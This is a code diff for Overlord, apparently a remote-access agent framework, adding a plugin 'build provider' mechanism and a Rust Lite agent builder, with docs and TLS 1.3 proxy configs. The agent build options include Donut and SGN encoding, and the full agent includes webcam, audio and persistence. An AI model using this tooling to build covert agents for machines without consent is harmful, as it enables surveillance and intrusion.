+      setLastError: () => {},
+    });
+    try {
+      await runtime.startPlugin("provider");
+      await expect(runtime.runBuildProvider("provider", {}, () => {})).rejects.toThrow(
+        "does not support build providers",
+      );
+    } finally {
+      await runtime.shutdownAll();
+    }
+  });
+});

Overlord-Server/src/server/plugin-runtime/runtime.ts

@@ -17,6 +17,18 @@ type PendingCall = {
   timer: ReturnType<typeof setTimeout>;
 };
 
+export type PluginBuildProviderOutput = {
+  event: "output" | "status";
+  text: string;
+  level?: "debug" | "info" | "warn" | "error" | "success";
+  progress?: number;
+  etaSeconds?: number;
+};
+
+type PendingBuildProviderCall = PendingCall & {
+  onOutput: (output: PluginBuildProviderOutput) => void;
+};
+
 type PluginInstance = {
   pluginId: string;
   worker: Worker;
@@ -26,12 +38,15 @@ type PluginInstance = {
   isReady: boolean;
   pending: Map<string, PendingCall>;
   pendingBuildHooks: Map<string, PendingCall>;
+  pendingBuildProviders: Map<string, PendingBuildProviderCall>;
+  capabilities: Set<string>;
   subscribers: Set<Subscriber>;
   startedAt: number;
 };
 
 const RPC_TIMEOUT_MS = 30_000;
 const BUILD_HOOK_TIMEOUT_MS = 5 * 60_000;
+const BUILD_PROVIDER_TIMEOUT_MS = 30 * 60_000;
 const SHUTDOWN_GRACE_MS = 750;
 
 export type PluginRuntime = {
@@ -52,6 +67,11 @@ export type PluginRuntime = {
   ) => Promise<unknown>;
   runBuildHook: (pluginId: string, hook: string, payload: unknown) => Promise<unknown>;
   runBuildHookForAll: (hook: string, payload: unknown) => Promise<Array<{ pluginId: string; result: unknown }>>;
+  runBuildProvider: (
+    pluginId: string,
+    payload: unknown,
+    onOutput: (output: PluginBuildProviderOutput) => void,
+  ) => Promise<unknown>;
   subscribe: (
     pluginId: string,
     send: (sse: string) => void,
@@ -111,6 +131,8 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
       isReady: false,
       pending: new Map(),
       pendingBuildHooks: new Map(),
+      pendingBuildProviders: new Map(),
+      capabilities: new Set(),
       subscribers: new Set(),
       startedAt: Date.now(),
     };
@@ -172,6 +194,11 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
       pending.reject(new Error("Plugin runtime stopped"));
     }
     inst.pendingBuildHooks.clear();
+    for (const pending of inst.pendingBuildProviders.values()) {
+      clearTimeout(pending.timer);
+      pending.reject(new Error("Plugin runtime stopped"));
+    }
+    inst.pendingBuildProviders.clear();
 
     try {
       const shutdownMsg: WorkerInbound = { type: "shutdown" };
@@ -293,6 +320,42 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
     return results;
   }
 
+  function runBuildProvider(
+    pluginId: string,
+    payload: unknown,
+    onOutput: (output: PluginBuildProviderOutput) => void,
+  ): Promise<unknown> {
+    const inst = instances.get(pluginId);
+    if (!inst) {
+      return Promise.reject(new Error("Plugin runtime not running"));
+    }
+    const callOnReady = () =>
+      new Promise((resolve, reject) => {
+        if (!inst.capabilities.has("build_provider")) {
+          reject(new Error(
+            "Plugin worker does not support build providers. Rebuild the server bundle and restart the server.",
+          ));
+          return;
+        }
+        const id = uuidv4();
+        const timer = setTimeout(() => {
+          if (inst.pendingBuildProviders.delete(id)) {
+            reject(new Error("Build provider timed out"));
+          }
+        }, BUILD_PROVIDER_TIMEOUT_MS);
+        inst.pendingBuildProviders.set(id, { resolve, reject, timer, onOutput });
+        const msg: WorkerInbound = { type: "build_provider", id, payload };
+        try {
+          inst.worker.postMessage(msg);
+        } catch (err) {
+          clearTimeout(timer);
+          inst.pendingBuildProviders.delete(id);
+          reject(err instanceof Error ? err : new Error(String(err)));
+        }
+      });
+    return inst.isReady ? callOnReady() : inst.ready.then(callOnReady);
+  }
+
   function subscribe(
     pluginId: string,
     send: (sse: string) => void,
@@ -309,6 +372,7 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
 
   function handleWorkerMessage(inst: PluginInstance, msg: WorkerOutbound) {
     if (msg.type === "ready") {
+      inst.capabilities = new Set(Array.isArray(msg.capabilities) ? msg.capabilities : []);
       inst.resolveReady();
       return;
     }
@@ -335,6 +399,27 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
       else pending.reject(new Error(msg.error));
       return;
     }
+    if (msg.type === "build_provider_output") {
+      const pending = inst.pendingBuildProviders.get(msg.id);
+      if (!pending) return;
+      pending.onOutput({
+        event: msg.event,
+        text: msg.text,
+        level: msg.level,
+        ...(msg.progress !== undefined && { progress: msg.progress }),
+        ...(msg.etaSeconds !== undefined && { etaSeconds: msg.etaSeconds }),
+      });
+      return;
+    }
+    if (msg.type === "build_provider_reply") {
+      const pending = inst.pendingBuildProviders.get(msg.id);
+      if (!pending) return;
+      clearTimeout(pending.timer);
+      inst.pendingBuildProviders.delete(msg.id);
+      if (msg.ok) pending.resolve(msg.result);
+      else pending.reject(new Error(msg.error));
+      return;
+    }
     if (msg.type === "broadcast") {
       const safeChannel = String(msg.channel || "message").replace(/[\r\n]/g, "");
       const dataLine = JSON.stringify(msg.data ?? null);
@@ -370,6 +455,7 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
     rpc,
     runBuildHook,
     runBuildHookForAll,
+    runBuildProvider,
     subscribe,
     isRunning,
     hasServerCode,

Overlord-Server/src/server/plugin-runtime/types.ts

@@ -31,16 +31,32 @@ export type WorkerInbound =
       hook: string;
       payload: unknown;
     }
+  | {
+      type: "build_provider";
+      id: string;
+      payload: unknown;
+    }
   | {
       type: "shutdown";
     };
 
 export type WorkerOutbound =
-  | { type: "ready" }
+  | { type: "ready"; capabilities?: string[] }
   | { type: "boot_error"; error: string }
   | { type: "rpc_reply"; id: string; ok: true; result: unknown }
   | { type: "rpc_reply"; id: string; ok: false; error: string }
   | { type: "build_hook_reply"; id: string; ok: true; result: unknown }
   | { type: "build_hook_reply"; id: string; ok: false; error: string }
+  | { type: "build_provider_reply"; id: string; ok: true; result: unknown }
+  | { type: "build_provider_reply"; id: string; ok: false; error: string }
+  | {
+      type: "build_provider_output";
+      id: string;
+      event: "output" | "status";
+      text: string;
+      level?: "debug" | "info" | "warn" | "error" | "success";
+      progress?: number;
+      etaSeconds?: number;
+    }
   | { type: "broadcast"; channel: string; data: unknown }
   | { type: "log"; level: "debug" | "info" | "warn" | "error"; message: string };

Overlord-Server/src/server/plugin-runtime/worker-host.ts

@@ -33,6 +33,7 @@ type PluginExports = {
   onBuildArtifact?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
   onBuildComplete?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
   onBuildFailed?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
+  onBuild?: (ctx: PluginBuildProviderContext, payload: unknown) => unknown | Promise<unknown>;
   teardown?: (ctx: PluginContext) => unknown | Promise<unknown>;
 };
 
@@ -50,6 +51,13 @@ type PluginContext = {
   broadcast: (channel: string, data: unknown) => void;
 };
 
+type PluginBuildProviderContext = PluginContext & {
+  build: {
+    output: (text: string, level?: "debug" | "info" | "warn" | "error" | "success") => void;
+    status: (text: string, progress?: number, etaSeconds?: number) => void;
+  };
+};
+
 let plugin: PluginExports | null = null;
 let db: Database | null = null;
 let ctx: PluginContext | null = null;
@@ -99,7 +107,7 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
         await plugin.setup(ctx);
       }
 
-      send({ type: "ready" });
+      send({ type: "ready", capabilities: ["build_provider"] });
     } catch (err) {
       const error = err instanceof Error ? `${err.message}\n${err.stack || ""}` : String(err);
       send({ type: "boot_error", error });
@@ -184,6 +192,47 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
     return;
   }
 
+  if (msg.type === "build_provider") {
+    if (!plugin || !ctx) {
+      send({ type: "build_provider_reply", id: msg.id, ok: false, error: "Plugin not initialised" });
+      return;
+    }
+    if (typeof plugin.onBuild !== "function") {
+      send({ type: "build_provider_reply", id: msg.id, ok: false, error: "Plugin does not export onBuild" });
+      return;
+    }
+    const buildCtx: PluginBuildProviderContext = {
+      ...ctx,
+      build: {
+        output: (text, level = "info") => send({
+          type: "build_provider_output",
+          id: msg.id,
+          event: "output",
+          text: String(text),
+          level,
+        }),
+        status: (text, progress, etaSeconds) => send({
+          type: "build_provider_output",
+          id: msg.id,
+          event: "status",
+          text: String(text),
+          progress,
+          etaSeconds,
+        }),
+      },
+    };
+    try {
+      const result = await plugin.onBuild(buildCtx, msg.payload);
+      send({ type: "build_provider_reply", id: msg.id, ok: true, result: result ?? null });
+    } catch (err) {
+      const error = err instanceof Error ? err.message : String(err);
+      const stack = err instanceof Error ? err.stack || "" : "";
+      console.error(`[plugin-worker] build provider error: ${error}`, stack);
+      send({ type: "build_provider_reply", id: msg.id, ok: false, error });
+    }
+    return;
+  }
+
   if (msg.type === "shutdown") {
     if (plugin && ctx && typeof plugin.teardown === "function") {
       try {

Overlord-Server/src/server/plugin-state-bundle.test.ts

@@ -175,6 +175,35 @@ describe("loadPluginBundle", () => {
     expect(manifest.dashboard.clientBadges[0].imageUrl).toBe("/plugins/demo/assets/icon.png");
   });
 
+  test("preserves a sanitized custom build provider declaration", async () => {
+    const root = await createTempRoot();
+    const AdmZip = require("adm-zip");
+    const zip = new AdmZip();
+    zip.addFile("config.json", Buffer.from(JSON.stringify({
+      name: "Rust Builder",
+      runtime: "server",
+      build: {
+        provider: {
+          label: "Rust Lite",
+          icon: "fa-brands fa-rust",
+          platforms: ["windows-amd64", "linux-arm64", "../../invalid"],
+        },
+      },
+    })));
+    zip.addFile("rust-builder.html", Buffer.from("<main></main>"));
+    zip.addFile("rust-builder.css", Buffer.from("main { display: block; }"));
+    zip.addFile("rust-builder.js", Buffer.from("document.body.dataset.builder = 'rust';"));
+    zip.addFile("server.js", Buffer.from("export default { onBuild() { return { artifacts: [] }; } };"));
+    zip.writeZip(join(root, "rust-builder.zip"));
+
+    await ensurePluginExtracted(root, "rust-builder", (name) => name);
+    const manifest = JSON.parse(await readFile(join(root, "rust-builder", "manifest.json"), "utf-8"));
+
+    expect(manifest.build.provider.label).toBe("Rust Lite");
+    expect(manifest.build.provider.platforms).toEqual(["windows-amd64", "linux-arm64"]);
+    expect(manifest.hasServer).toBe(true);
+  });
+
   test("computes stable need hashes and invalidates changed approvals", () => {
     const state: PluginState = {
       enabled: {},

Overlord-Server/src/server/plugin-state-bundle.ts

@@ -682,6 +682,24 @@ function normalizePluginBuildIntegration(raw: any): any | undefined {
   if (typeof raw.label === "string" && raw.label.trim()) build.label = raw.label.trim().slice(0, 80);
   if (typeof raw.description === "string" && raw.description.trim()) build.description = raw.description.trim().slice(0, 300);
 
+  if (raw.provider && typeof raw.provider === "object" && !Array.isArray(raw.provider)) {
+    const platforms = Array.isArray(raw.provider.platforms)
+      ? Array.from(new Set<string>(raw.provider.platforms
+          .filter((value: unknown): value is string => typeof value === "string")
+          .map((value: string) => value.trim().toLowerCase())
+          .filter((value: string) => /^(windows|linux|darwin|freebsd|android|ios)-(amd64|arm64|386|armv7)$/.test(value))))
+          .slice(0, 32)
+      : [];
+    if (platforms.length > 0) {
+      build.provider = {
+        platforms,
+        ...(typeof raw.provider.label === "string" && raw.provider.label.trim() && { label: raw.provider.label.trim().slice(0, 80) }),
+        ...(typeof raw.provider.description === "string" && raw.provider.description.trim() && { description: raw.provider.description.trim().slice(0, 300) }),
+        ...(typeof raw.provider.icon === "string" && raw.provider.icon.trim() && { icon: raw.provider.icon.trim().slice(0, 80) }),
+      };
+    }
+  }
+
   const settings: any[] = [];
   if (Array.isArray(raw.settings)) {
     for (const item of raw.settings.slice(0, 20)) {

Overlord-Server/src/server/routes/build-routes.ts

@@ -95,12 +95,21 @@ async function sanitizeBuildPlugins(
   deps: BuildRouteDeps,
   user: any,
   buildConfig: any,
+  requiredProviderId?: string,
 ): Promise<{ value: Record<string, any>; error?: string }> {
-  if (!raw || typeof raw !== "object" || !deps.listPluginManifests) return { value: {} };
+  if (!deps.listPluginManifests) return { value: {} };
   const manifests = await deps.listPluginManifests();
   const byId = new Map(manifests.map((m) => [m.id, m]));
   const value: Record<string, any> = {};
-  for (const [pluginId, rawPlugin] of Object.entries(raw)) {
+  const requested = raw && typeof raw === "object" && !Array.isArray(raw) ? { ...raw } : {};
+  if (requiredProviderId) {
+    const providerRecord = requested[requiredProviderId];
+    requested[requiredProviderId] = {
+      ...(providerRecord && typeof providerRecord === "object" ? providerRecord : {}),
+      enabled: true,
+    };
+  }
+  for (const [pluginId, rawPlugin] of Object.entries(requested)) {
     if (!/^[A-Za-z0-9._-]{1,128}$/.test(pluginId)) continue;
     const manifest = byId.get(pluginId);
     if (!manifest?.build || !canUserAccessPlugin(user.userId, user.role, pluginId)) continue;
@@ -183,6 +192,7 @@ export async function handleBuildRoutes(
       const body = await req.json();
       const {
         platforms,
+        buildProvider,
         serverUrl,
         rawServerList,
         solMemo,
@@ -263,6 +273,37 @@ export async function handleBuildRoutes(
         return Response.json({ error: "No valid platforms specified" }, { status: 400 });
       }
 
+      let safeBuildProvider: string | undefined;
+      if (buildProvider !== undefined && buildProvider !== null && String(buildProvider).trim()) {
+        const providerId = String(buildProvider).trim();
+        if (!/^[A-Za-z0-9._-]{1,128}$/.test(providerId) || !deps.listPluginManifests) {
+          return Response.json({ error: "Invalid build provider" }, { status: 400 });
+        }
+        const manifests = await deps.listPluginManifests();
+        const manifest = manifests.find((item) => item?.id === providerId);
+        if (
+          !manifest?.build?.provider ||
+          manifest?.hasServer !== true ||
+          manifest?.enabled === false ||
+          !canUserAccessPlugin(user.userId, user.role, providerId)
+        ) {
+          return Response.json({ error: "Build provider is unavailable" }, { status: 403 });
+        }
+        const providerPlatforms = new Set(
+          Array.isArray(manifest.build.provider.platforms)
+            ? manifest.build.provider.platforms
+            : [],
+        );
+        const unsupported = allowedPlatforms.filter((platform) => !providerPlatforms.has(platform));
+        if (unsupported.length > 0) {
+          return Response.json(
+            { error: `Build provider ${manifest.name || providerId} does not support: ${unsupported.join(", ")}` },
+            { status: 400 },
+          );
+        }
+        safeBuildProvider = providerId;
+      }
+
       const safeRawServerList = !!rawServerList;
       const safeSolMemo = !!solMemo;
       const safeServerUrl =
@@ -383,7 +424,7 @@ export async function handleBuildRoutes(
         username: user.username,
         ip,
         action: AuditAction.COMMAND,
-        details: `Started build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
+        details: `Started ${safeBuildProvider ? `${safeBuildProvider} provider ` : ""}build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
         success: true,
       });
 
@@ -438,7 +479,7 @@ export async function handleBuildRoutes(
           { status: 400 },
         );
       }
-      const needsMacosSdk = hasDarwinTarget && !disableCgo && process.platform === "linux";
+      const needsMacosSdk = !safeBuildProvider && hasDarwinTarget && !disableCgo && process.platform === "linux";
       if (safeOutputSgnTxt) {
         const hasSgnCapableTarget = allowedPlatforms.some((p) =>
           (!!useDonut && p.startsWith("windows-")) ||
@@ -515,6 +556,7 @@ export async function handleBuildRoutes(
 
       const safeBuildConfig: any = {
         platforms: allowedPlatforms,
+        buildProvider: safeBuildProvider,
         serverUrl: safeServerUrl,
         rawServerList: safeRawServerList,
         solMemo: safeSolMemo,
@@ -572,7 +614,13 @@ export async function handleBuildRoutes(
         uploadToFileShare: safeUploadToFileShare,
       };
 
-      const pluginBuildResult = await sanitizeBuildPlugins(buildPlugins, deps, user, safeBuildConfig);
+      const pluginBuildResult = await sanitizeBuildPlugins(
+        buildPlugins,
+        deps,
+        user,
+        safeBuildConfig,
+        safeBuildProvider,
+      );
       if (pluginBuildResult.error) {
         if (rateLimitActive) recordBuildEnd(user.userId);
         return Response.json({ error: pluginBuildResult.error }, { status: 400 });

README.md

@@ -27,6 +27,7 @@ bare-metal installation is strongly recommended instead of Docker Desktop.
   - [Linux](#linux)
   - [macOS](#macos)
 - [Native Bare-Metal Installation](#native-bare-metal-installation)
+- [Rust Lite Agent](#rust-lite-agent)
 - [Production Package Scripts](#production-package-scripts)
 - [WebRTC Streaming](#webrtc-streaming)
 - [OIDC / SSO Login](#oidc--sso-login)
@@ -364,6 +365,15 @@ Production mode:
 
 ---
 
+## Rust Lite Agent
+
+`Overlord-Lite` is an experimental Rust client focused on authenticated
+connections, TLS identity pinning, and heartbeat/reconnect behavior. It
+supports interactive TTY console sessions while omitting plugins plus the full
+Go agent's desktop, webcam, audio, persistence, and OS-integration features.
+See [Overlord-Lite/README.md](Overlord-Lite/README.md) for build instructions,
+configuration, and Build-page integration.
+
 ## Production Package Scripts
 
 Build a production-ready package where the server can still build client binaries at runtime.
@@ -668,6 +678,10 @@ Restart Overlord after changing `.env`. The reverse proxy upstream is then
 and use timeouts/body limits suitable for long sessions and file uploads.
 
 Ready-to-copy Caddy and nginx configurations are in `deploy/reverse-proxy/`.
+Those examples accept TLS 1.3 only. This is also the required deployment mode
+when strict TLS 1.3 rejection is needed: Bun's native `Bun.serve` TLS listener
+currently negotiates TLS 1.3 by preference but does not expose an effective
+per-server minimum-version setting.
 
 When enabled:
 

deploy/reverse-proxy/Caddyfile.example

@@ -1,6 +1,10 @@
 # Replace overlord.example.com with the public DNS name. Caddy obtains and
 # renews the public certificate automatically.
 overlord.example.com {
+	tls {
+		protocols tls1.3
+	}
+
 	reverse_proxy 127.0.0.1:5173 {
 		header_up Host {host}
 		header_up X-Forwarded-Proto https

deploy/reverse-proxy/nginx.conf.example

@@ -11,6 +11,7 @@ server {
 
     ssl_certificate     /etc/letsencrypt/live/overlord.example.com/fullchain.pem;
     ssl_certificate_key /etc/letsencrypt/live/overlord.example.com/privkey.pem;
+    ssl_protocols       TLSv1.3;
 
     # Keep this at least as large as the uploads allowed by Overlord.
     client_max_body_size 2g;

plugins/PLUGINS.md

@@ -40,8 +40,9 @@ Use `runtime: "native"` for agent-side plugins that need direct OS APIs, native
 
 | Directory | Purpose |
 |-----------|---------|
+| `rust-lite-builder` | Server-side custom provider that builds the authenticated Rust Lite agent. |
 | `sample-build-hooks` | Server-only build plugin with its own Build page button and artifact replacement example. |
 | `sample-ts-fullstack` | TypeScript UI plus TypeScript server runtime. |
 | `sample-c`, `sample-cpp`, `sample-go`, `sample-rust` | Native agent plugin examples. |
 
-Start with [docs/server-side-plugins.md](docs/server-side-plugins.md) if you are building uploaders, custom build buttons, artifact post-processing, or internal release hooks.
+Start with [docs/server-side-plugins.md](docs/server-side-plugins.md) if you are building custom agent providers, uploaders, build buttons, artifact post-processing, or internal release hooks.

plugins/docs/samples.md

@@ -4,6 +4,7 @@ The `plugins/` directory includes small examples that exercise each plugin style
 
 | Directory | Demonstrates |
 |-----------|--------------|
+| `rust-lite-builder` | Custom server-side build provider that compiles the Rust Lite agent through the standard builder lifecycle. |
 | `sample-build-hooks` | Server-only build plugin, custom Build page action, build settings, and replacing the produced artifact with a `.txt` file. |
 | `sample-ts-fullstack` | TypeScript UI and TypeScript server runtime with shared local modules. |
 | `sample-c` | Native C plugin for the smallest unloadable ABI surface. |
@@ -11,4 +12,4 @@ The `plugins/` directory includes small examples that exercise each plugin style
 | `sample-go` | Native Go plugin. Go plugins are intentionally not unloaded because the Go runtime cannot be safely unloaded from shared libraries. |
 | `sample-rust` | Native Rust plugin with C ABI exports and unload-friendly runtime handling. |
 
-Use `sample-build-hooks` as the starting point for uploaders, artifact publishers, or custom release buttons.
+Use `rust-lite-builder` as the starting point for a fully custom agent compiler. Use `sample-build-hooks` for uploaders, artifact publishers, or custom release buttons around the built-in agent.

plugins/docs/server-side-plugins.md

@@ -297,6 +297,55 @@ Buttons in `build.actions` can set core builder fields through `setBuild` and pl
 
 See `plugins/sample-build-hooks` for a minimal server-only build plugin with its own build button and artifact replacement.
 
+## Custom Build Providers
+
+A server-only plugin can replace the built-in Go compilation step while keeping the normal Build page, permissions, audit log, progress stream, artifact hooks, file-share upload, build history, and expiration handling. Declare the provider and export `onBuild`:
+
+```json
+{
+  "runtime": "server",
+  "build": {
+    "provider": {
+      "label": "My Lite Agent",
+      "description": "Builds the reduced agent implementation.",
+      "icon": "fa-solid fa-feather",
+      "platforms": ["windows-amd64", "linux-amd64"]
+    }
+  }
+}
+```
+
+```js
+export default {
+  async onBuild(ctx, payload) {
+    ctx.build.status("Compiling lite agent...");
+    ctx.build.output("Compiler started", "info");
+
+    // Write only inside payload.outputDir.
+    const filename = `lite-${payload.platforms[0]}`;
+    await compileAgent({ output: `${payload.outputDir}/${filename}` });
+    return {
+      artifacts: [{
+        name: "Lite Agent",
+        filename,
+        platform: payload.platforms[0],
+        version: "1.0.0"
+      }]
+    };
+  }
+};
+```
+
+The provider payload contains `buildId`, `providerId`, `runtimeRoot`, a temporary `outputDir`, selected `platforms`, `serverUrl`, `agentToken`, signed `buildTag`, `tlsSpkiPins`, `initialClientTag`, `outputName`, provider `settings`, and the sanitized full build `config`.
+
+An artifact entry must contain a selected `platform` and either `filename` or a relative `path` beneath `outputDir`. Optional fields are `name` and `version`. Provider output is limited to 32 regular, non-symlink files of at most 512 MB each. The server validates containment, copies approved files into `dist-clients`, adds the build ID suffix, then invokes normal artifact and completion hooks.
+
+`ctx.build.output(text, level)` accepts `debug`, `info`, `success`, `warn`, or `error`. `ctx.build.status(text, progress?, etaSeconds?)` changes the Build page status line and can display a progress bar and estimated time remaining. Progress is a number from 0 through 100. These methods exist only during `onBuild`.
+
+The selected provider must be enabled, include server code, support every requested target, and be accessible to the building user. A provider plugin is forced on for its own build, even if a modified request marks its hook settings as disabled.
+
+See `plugins/rust-lite-builder` for a complete provider that invokes Cargo and embeds authenticated connection defaults into Overlord Lite.
+
 ## RBAC And Build Plugin Access
 
 Build-hook plugins use the normal per-user plugin access policy. Admins can open a user in the Users page, choose Plugin Access, and set one of these modes:

plugins/rust-lite-builder/README.md

@@ -0,0 +1,41 @@
+# Rust Lite Builder Plugin
+
+This trusted server-only plugin registers Rust Lite as an agent build provider.
+Select **Rust Lite** from the Builder's **Agent Type** field, choose targets, and
+start the build normally. Output, history, downloads, expiration, rate limits,
+RBAC, and artifact hooks remain owned by the Overlord server.
+
+The resulting client supports authenticated enrollment, TLS identity pinning,
+heartbeat, reconnect behavior, and interactive TTY console sessions. It
+intentionally contains no plugin loader or other remote command handlers.
+
+During compilation the Build page shows estimated overall/target percentages,
+completed Cargo crates, elapsed time, the current compile or link/LTO phase,
+and a rolling ETA. Cargo does not expose exact link progress, so percentages
+and ETA are estimates. Completed target durations are retained in plugin data
+to improve later estimates, and the persistent Cargo target directory makes
+subsequent builds substantially faster.
+
+The **Cargo Jobs** setting defaults to `0`, which leaves parallelism at Cargo's
+host-CPU default. Set a positive number only when the server needs an explicit
+resource cap. The plugin cache is separate from `Overlord-Lite/target`, so the
+first plugin build does not reuse artifacts from a manual source-tree build.
+
+The server host needs Rust 1.88 or newer. Native-host builds work with the
+standard Rust installation. Cross-target builds additionally require the target
+from `rustup target add <triple>` and a compatible linker/toolchain.
+
+The plugin locates `Overlord-Lite` beside the server runtime or under its
+`dist/` directory. Production package scripts copy that source automatically.
+
+Builder releases compile in the selected server URL, agent token, and signed
+build tag. Runtime `OVERLORD_SERVER`, `OVERLORD_AGENT_TOKEN`, and
+`OVERLORD_BUILD_TAG` variables can still override those defaults.
+
+Builds also embed the server's active TLS SPKI pins. This lets Lite clients
+trust the server's generated self-signed certificate without disabling
+certificate verification and protects later HTTPS plugin downloads too.
+
+All provider builds use Cargo's `--release` profile. That profile uses
+`opt-level = "z"`, full LTO, one codegen unit, symbol stripping, and
+`panic = "abort"`.

plugins/rust-lite-builder/build.bat

@@ -0,0 +1,8 @@
+@echo off
+setlocal
+set "PLUGIN_ID=rust-lite-builder"
+set "OUT=%~dp0%PLUGIN_ID%.zip"
+if exist "%OUT%" del /q "%OUT%"
+powershell -NoProfile -ExecutionPolicy Bypass -Command "Compress-Archive -Path '%~dp0config.json','%~dp0rust-lite-builder.html','%~dp0rust-lite-builder.css','%~dp0rust-lite-builder.js','%~dp0server.js' -DestinationPath '%OUT%' -Force"
+if errorlevel 1 exit /b 1
+echo [ok] %OUT%

plugins/rust-lite-builder/build.sh

@@ -0,0 +1,7 @@
+#!/usr/bin/env bash
+set -euo pipefail
+ROOT="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)"
+cd "$ROOT"
+rm -f rust-lite-builder.zip
+zip -q rust-lite-builder.zip config.json rust-lite-builder.html rust-lite-builder.css rust-lite-builder.js server.js
+echo "[ok] $ROOT/rust-lite-builder.zip"

plugins/rust-lite-builder/config.json

@@ -0,0 +1,58 @@
+{
+  "name": "Rust Lite Builder",
+  "version": "1.2.0",
+  "apiVersion": 2,
+  "runtime": "server",
+  "description": "Adds a dedicated builder for the authenticated Rust Lite agent with an interactive TTY console.",
+  "build": {
+    "label": "Rust Lite Builder",
+    "description": "Builds the lightweight Rust client instead of the full Go agent.",
+    "enabledByDefault": true,
+    "provider": {
+      "label": "Rust Lite",
+      "description": "Authenticated sessions, TLS pinning, heartbeat, and an interactive TTY console.",
+      "icon": "fa-brands fa-rust",
+      "platforms": [
+        "windows-amd64",
+        "windows-arm64",
+        "linux-amd64",
+        "linux-arm64",
+        "darwin-amd64",
+        "darwin-arm64"
+      ]
+    },
+    "settings": [
+      {
+        "key": "locked",
+        "label": "Require Cargo.lock",
+        "type": "boolean",
+        "default": true,
+        "description": "Build with --locked for reproducible dependency resolution."
+      },
+      {
+        "key": "jobs",
+        "label": "Cargo Jobs",
+        "type": "number",
+        "default": 0,
+        "min": 0,
+        "max": 32,
+        "description": "Parallel Cargo jobs. Use 0 to let Cargo use the host's available CPUs."
+      }
+    ],
+    "actions": [
+      {
+        "id": "use-rust-lite",
+        "label": "Use Rust Lite Builder",
+        "icon": "fa-brands fa-rust",
+        "description": "Selects Rust Lite as the active agent builder.",
+        "setBuild": {
+          "buildProvider": "rust-lite-builder"
+        }
+      }
+    ]
+  },
+  "navbar": {
+    "label": "Rust Lite",
+    "icon": "fa-brands fa-rust"
+  }
+}

plugins/rust-lite-builder/rust-lite-builder.css

@@ -0,0 +1,49 @@
+.rust-lite-builder {
+  display: grid;
+  gap: 1rem;
+  color: #e2e8f0;
+}
+
+.rust-lite-builder header {
+  display: flex;
+  align-items: flex-start;
+  justify-content: space-between;
+  gap: 1rem;
+}
+
+.rust-lite-builder h2 {
+  margin: 0.15rem 0 0.35rem;
+  font-size: 1.5rem;
+}
+
+.rust-lite-builder p {
+  margin: 0;
+  color: #94a3b8;
+}
+
+.rust-lite-builder .eyebrow {
+  color: #fb923c;
+  font-size: 0.75rem;
+  font-weight: 700;
+  letter-spacing: 0.08em;
+  text-transform: uppercase;
+}
+
+.rust-lite-builder button {
+  border: 1px solid #c2410c;
+  border-radius: 0.5rem;
+  background: #9a3412;
+  color: white;
+  cursor: pointer;
+  padding: 0.55rem 0.8rem;
+}
+
+.rust-lite-builder pre {
+  min-height: 8rem;
+  overflow: auto;
+  border: 1px solid #334155;
+  border-radius: 0.65rem;
+  background: #0f172a;
+  padding: 1rem;
+  white-space: pre-wrap;
+}

plugins/rust-lite-builder/rust-lite-builder.html

@@ -0,0 +1,11 @@
+<main class="rust-lite-builder">
+  <header>
+    <div>
+      <p class="eyebrow">Server build provider</p>
+      <h2>Rust Lite Builder</h2>
+      <p>Builds the authenticated Rust agent with interactive TTY console support through the normal Overlord build workflow.</p>
+    </div>
+    <button id="rust-lite-refresh" type="button">Refresh status</button>
+  </header>
+  <pre id="rust-lite-status">Loading...</pre>
+</main>

plugins/rust-lite-builder/rust-lite-builder.js

@@ -0,0 +1,21 @@
+const statusOutput = document.getElementById("rust-lite-status");
+const refreshButton = document.getElementById("rust-lite-refresh");
+
+async function refreshStatus() {
+  statusOutput.textContent = "Checking Rust Lite builder...";
+  try {
+    const response = await fetch("/api/plugins/rust-lite-builder/rpc", {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({ method: "status", params: {} }),
+    });
+    const body = await response.json();
+    if (!body.ok) throw new Error(body.error || "Status check failed");
+    statusOutput.textContent = JSON.stringify(body.result, null, 2);
+  } catch (error) {
+    statusOutput.textContent = `Error: ${error?.message || error}`;
+  }
+}
+
+refreshButton?.addEventListener("click", refreshStatus);
+refreshStatus();

plugins/rust-lite-builder/server.js

@@ -0,0 +1,415 @@
+import fs from "fs";
+import path from "path";
+
+const TARGETS = {
+  "windows-amd64": { windows: "x86_64-pc-windows-msvc", other: "x86_64-pc-windows-gnu", extension: ".exe" },
+  "windows-arm64": { windows: "aarch64-pc-windows-msvc", other: "aarch64-pc-windows-gnullvm", extension: ".exe" },
+  "linux-amd64": { all: "x86_64-unknown-linux-gnu", extension: "" },
+  "linux-arm64": { all: "aarch64-unknown-linux-gnu", extension: "" },
+  "darwin-amd64": { all: "x86_64-apple-darwin", extension: "" },
+  "darwin-arm64": { all: "aarch64-apple-darwin", extension: "" },
+};
+
+function rustTarget(platform) {
+  const target = TARGETS[platform];
+  if (!target) throw new Error(`Unsupported Rust Lite platform: ${platform}`);
+  return process.platform === "win32" ? (target.windows || target.all) : (target.other || target.all);
+}
+
+function findSource(runtimeRoot) {
+  const candidates = [
+    path.join(runtimeRoot, "Overlord-Lite"),
+    path.join(runtimeRoot, "dist", "Overlord-Lite"),
+    path.join(runtimeRoot, "..", "Overlord-Lite"),
+  ];
+  for (const candidate of candidates) {
+    if (fs.existsSync(path.join(candidate, "Cargo.toml"))) return candidate;
+  }
+  throw new Error(`Overlord-Lite source not found. Checked: ${candidates.join(", ")}`);
+}
+
+async function capture(command, cwd) {
+  const proc = Bun.spawn(command, { cwd, stdout: "pipe", stderr: "pipe" });
+  const [stdout, stderr, exitCode] = await Promise.all([
+    new Response(proc.stdout).text(),
+    new Response(proc.stderr).text(),
+    proc.exited,
+  ]);
